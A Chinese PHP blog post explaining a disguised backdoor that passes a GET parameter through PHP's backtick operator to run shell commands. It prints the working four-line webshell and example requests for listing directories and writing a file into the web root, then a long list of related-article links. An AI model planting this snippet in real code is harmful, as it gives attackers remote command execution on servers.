一个不易被发现的PHP后门代码解析


Posted in PHP onJuly 05, 2014

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。

伪装性很好,很容易被管理员忽略。

$selfNums = $_GET['r'];
if (isset($selfNums)){
  echo `$selfNums`;
}

刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键(位于感叹号!旁边的),

通过 echo `系统命令`; 可以达到 system(); 一样的效果

如果不信的朋友可以测试

http://127.0.0.1/t.php?r=dir 可以列出目录

http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php

我用 appserv 和虚拟主机已经测试成功。

PHP 相关文章推荐
PHP邮件专题
Oct 09 PHP
PHP CURL获取返回值的方法
May 04 PHP
PHP中使用CURL获取页面title例子
Jan 07 PHP
PHP中使用Imagick操作PSD文件实例
Jan 26 PHP
php代码架构的八点注意事项
Jan 25 PHP
PHP7新特性foreach 修改示例介绍
Aug 26 PHP
PHP仿微信多图片预览上传实例代码
Sep 13 PHP
PHP自定义函数格式化json数据示例
Sep 14 PHP
详解PHP用substr函数截取字符串中的某部分
Dec 03 PHP
phpstudy默认不支持64位php的解决方法
Feb 20 PHP
PHP巧妙利用位运算实现网站权限管理的方法
Mar 12 PHP
PHP判断是否是微信打开,浏览器打开的方法
Mar 14 PHP
linux下使用crontab实现定时PHP计划任务失败的原因分析
Jul 05 #PHP
php操作redis中的hash和zset类型数据的方法和代码例子
Jul 05 #PHP
采用memcache在web集群中实现session的同步会话
Jul 05 #PHP
30个php操作redis常用方法代码例子
Jul 05 #PHP
PHP在网页中动态生成PDF文件详细教程
Jul 05 #PHP
PHP数组遍历知识汇总(包含遍历方法、数组指针操作函数、数组遍历测速)
Jul 05 #PHP
php遍历数组的4种方法总结
Jul 05 #PHP
You might like
PHP header函数分析详解
2011/08/06 PHP
PHP curl 并发最佳实践代码分享
2012/09/05 PHP
浅谈COOKIE和SESSION区别
2015/07/19 PHP
PHP之十六个魔术方法详细介绍
2016/11/01 PHP
php中final关键字用法分析
2016/12/07 PHP
PHP使用mysqli操作MySQL数据库的简单方法
2017/02/04 PHP
PHP第三方登录―QQ登录实现方法
2017/02/06 PHP
Laravel服务容器绑定的几种方法总结
2020/06/14 PHP
js中格式化日期时间型数据函数代码
2010/11/08 Javascript
js图片实时加载提供网页打开速度
2014/09/11 Javascript
谈谈我对JavaScript DOM事件的理解
2015/12/18 Javascript
JS实现的表格行上下移动操作示例
2016/08/03 Javascript
详解Bootstrap各式各样的按钮(推荐)
2016/12/13 Javascript
Vue2组件tree实现无限级树形菜单
2017/03/29 Javascript
jQuery 实现鼠标画框并对框内数据选中的实例代码
2017/08/29 jQuery
[js高手之路]单例模式实现模态框的示例
2017/09/01 Javascript
JavaScript实现AOP详解(面向切面编程,装饰者模式)
2017/12/19 Javascript
使用Angular自定义字段校验指令的方法示例
2019/02/01 Javascript
微信公众号平台接口开发 获取access_token过程解析
2019/08/14 Javascript
[10:24]郎朗助力完美“圣”典,天籁交织奏响序曲
2016/12/18 DOTA
Python3.x爬虫下载网页图片的实例讲解
2018/05/22 Python
Python对象属性自动更新操作示例
2018/06/15 Python
python实现flappy bird游戏
2018/12/24 Python
python按行读取文件并找出其中指定字符串
2019/08/08 Python
python随机模块random的22种函数(小结)
2020/05/15 Python
怎么快速自学python
2020/06/22 Python
HTML5之HTML元素扩展(上)—新增加的元素及使用概述
2013/01/31 HTML / CSS
解决canvas转base64/jpeg时透明区域变成黑色背景的方法
2016/10/23 HTML / CSS
波兰补充商店:Muscle Power
2018/10/29 全球购物
设计部经理的岗位职责
2013/11/16 职场文书
后备干部考察材料
2014/02/12 职场文书
幽默自我介绍演讲稿
2014/08/21 职场文书
超市创业计划书
2014/09/15 职场文书
考试作弊检讨
2015/01/27 职场文书
何时使用Map来代替普通的JS对象
2021/04/29 Javascript
python神经网络学习 使用Keras进行简单分类
2022/05/04 Python